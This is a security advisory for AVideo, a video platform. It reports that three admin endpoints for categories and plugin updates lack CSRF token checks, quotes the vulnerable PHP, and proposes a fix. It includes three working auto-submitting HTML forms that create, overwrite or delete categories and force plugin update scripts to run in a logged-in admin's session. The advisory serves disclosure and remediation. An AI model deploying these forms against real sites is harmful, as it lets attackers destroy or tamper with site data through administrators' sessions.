GHSA-ffw8-fwxp-h64w

## Summary Three admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session. ## Details AVideo's CSRF defense is not applied globally — each endpoint must explicitly call `isGlobalTokenValid()` (defined in `objects/functions.php:2313`), which verifies `$_REQUEST['globalToken']`. A search across the codebase shows 18 files that correctly invoke `forbidIfIsUntrustedRequest()` or `isGlobalTokenValid()`, while the three endpoints below do not. ### 1. `objects/categoryAddNew.json.php:18` — CSRF create/overwrite category ```php 18 if (!Category::canCreateCategory()) { 19 $obj->msg = __("Permission denied"); 20 die(json_encode($obj)); 21 } 22 23 $objCat = new Category(intval(@$_POST['id'])); 24 $objCat->setName($_POST['name']); 25 $objCat->setClean_name($_POST['clean_name']); 26 $objCat->setDescription($_POST['description']); 27 $objCat->setIconClass($_POST['iconClass']); 28 $objCat->setSuggested($_POST['suggested']); 29 $objCat->setParentId($_POST['parentId']); 30 $objCat->setPrivate($_POST['private']); 31 $objCat->setAllow_download($_POST['allow_download']); 32 $objCat->setOrder($_POST['order']); 33 $obj->categories_id = $objCat->save(); ``` `Category::canCreateCategory()` (`objects/category.php:620-630`) returns true for any admin. Because the row is loaded via `new Category(intval(@$_POST['id']))`, a non-zero `id` causes the existing row to be overwritten, not just created — the same primitive can mutate existing categories. No CSRF/Origin check precedes the write. ### 2. `objects/categoryDelete.json.php:10` — CSRF delete category ```php 10 if (!Category::canCreateCategory()) { 11 die('{"error":"' . __("Permission denied") . '"}'); 12 } 13 require_once 'category.php'; 14 $obj = new Category($_POST['id']); 15 $response = $obj->delete(); ``` No token check. An attacker can force an admin browser to POST any `id`, deleting rows from `categories`. ### 3. `objects/pluginRunUpdateScript.json.php:9` — CSRF forced plugin update ```php 9 if (!User::isAdmin()) { 10 forbiddenPage('Permission denied'); 11 } 12 if (empty($_POST['name'])) { 13 forbiddenPage('Name can\'t be blank'); 14 } 15 ini_set('max_execution_time', 300); 16 require_once $global['systemRootPath'] . 'plugin/AVideoPlugin.php'; 17 18 if($_POST['uuid'] == 'plist12345-370-4b1f-977a-fd0e5cabtube'){ 19 $_POST['name'] = 'PlayLists'; 20 } 21 22 $obj = new stdClass(); 23 $obj->error = !AVideoPlugin::updatePlugin($_POST['name']); ``` `AVideoPlugin::updatePlugin()` (`plugin/AVideoPlugin.php:1452`) looks up the plugin by name and, if it defines an `updateScript()` method, invokes it and then records the new plugin version via `Plugin::setCurrentVersionByUuid`. No CSRF or Origin check precedes this. By contrast, the sibling endpoint `objects/pluginRunDatabaseScript.json.php:16` does call `isGlobalTokenValid()`, and `objects/pluginSwitch.json.php:12` also calls it — confirming this file is an omission. ### Why no global mitigation blocks this - `isGlobalTokenValid()` is not invoked from `objects/configuration.php` or any other bootstrap; it must be called per-endpoint. - `isUntrustedRequest()` (`objects/functionsSecurity.php:146`) is only triggered via an explicit call to `forbidIfIsUntrustedRequest()`; none of the three endpoints call it. - The handlers use `$_POST` directly without any framework-level CSRF middleware (AVideo does not use one). - `Category::canCreateCategory()` is purely a role check and does not examine request origin or tokens. ## PoC All three require the victim to be a logged-in AVideo administrator who visits the attacker-hosted page. Cookies are sent automatically by the browser. ### PoC 1 — Create/overwrite category ```html <!-- evil-create.html --> <html><body> <form id=f action="https://victim.example.com/objects/categoryAddNew.json.php" method="POST"> <input name="id" value="0"> <!-- 0 = create; any existing id = overwrite --> <input name="name" value="Owned"> <input name="clean_name" value="owned"> <input name="description" value="pwn"> <input name="iconClass" value="fas fa-skull"> <input name="suggested" value="1"> <input name="parentId" value="0"> <input name="private" value="0"> <input name="allow_download" value="1"> <input name="order" value="1"> </form> <script>document.getElementById('f').submit();</script> </body></html> ``` Expected: a new row appears in the `categories` table, returned as `{"error":false,"categories_id":<n>,...}`. Changing `id=0` to an existing category id overwrites that row's fields. ### PoC 2 — Delete category ```html <!-- evil-delete.html --> <html><body> <form id=f action="https://victim.example.com/objects/categoryDelete.json.php" method="POST"> <input name="id" value="2"> </form> <script>document.getElementById('f').submit();</script> </body></html> ``` Multiple hidden iframes with different `id` values can walk the category id space and wipe the category tree. ### PoC 3 — Force plugin updateScript() ```html <!-- evil-plugin-update.html --> <html><body> <form id=f action="https://victim.example.com/objects/pluginRunUpdateScript.json.php" method="POST"> <input name="name" value="Live"> <input name="uuid" value="anything"> </form> <script>document.getElementById('f').submit();</script> </body></html> ``` Expected: server logs `AVideoPlugin::updatePlugin name=(Live) uuid=(...)` and the plugin's `updateScript()` runs in the admin's session, with execution time extended to 300s. ## Impact - **Integrity:** An attacker can silently cause the admin's browser to create, mutate, or delete rows in the `categories` table. Overwrite is especially damaging because field-level state (parent, privacy, allow_download, clean_name, iconClass) is changed without any UI feedback to the admin. Combined with any view that renders `description` without escaping, this becomes a vector for stored XSS propagation. - **Availability (partial):** `categoryDelete.json.php` is a pure destructive primitive that allows category rows to be removed one by one by iterating ids; there is no recovery flow. - **Privileged code execution trigger:** `pluginRunUpdateScript.json.php` lets the attacker force execution of any installed plugin's `updateScript()` method (with a 5-minute execution window) in the admin's context. When chained with other primitives that influence plugin state or the plugin's own update logic, this is a foothold for deeper compromise. - **Blast radius:** Each vulnerable endpoint requires only a single admin visit to any attacker-controlled page (XSS on a third-party site, a phishing link, a forum post with an auto-submitting form). No interaction beyond loading the page is required. ## Recommended Fix Add an explicit CSRF token check (and ideally an Origin check) to each endpoint, matching the pattern already used by `pluginSwitch.json.php` and `pluginRunDatabaseScript.json.php`. ```php // objects/categoryAddNew.json.php (after line 18) if (!Category::canCreateCategory()) { $obj->msg = __("Permission denied"); die(json_encode($obj)); } if (!isGlobalTokenValid()) { http_response_code(403); die('{"error":"' . __('Invalid token') . '"}'); } forbidIfIsUntrustedRequest(); ``` ```php // objects/categoryDelete.json.php (after line 12) if (!Category::canCreateCategory()) { die('{"error":"' . __("Permission denied") . '"}'); } if (!isGlobalTokenValid()) { http_response_code(403); die('{"error":"' . __('Invalid token') . '"}'); } forbidIfIsUntrustedRequest(); ``` ```php // objects/pluginRunUpdateScript.json.php (after line 11) if (!User::isAdmin()) { forbiddenPage('Permission denied'); } if (!isGlobalTokenValid()) { http_response_code(403); die('{"error":"' . __('Invalid token') . '"}'); } forbidIfIsUntrustedRequest(); ``` The long-term fix is to apply `forbidIfIsUntrustedRequest()` to every state-changing JSON endpoint via a shared include (e.g., a mandatory bootstrap file loaded by all `*.json.php` endpoints), so that future handlers cannot forget the check.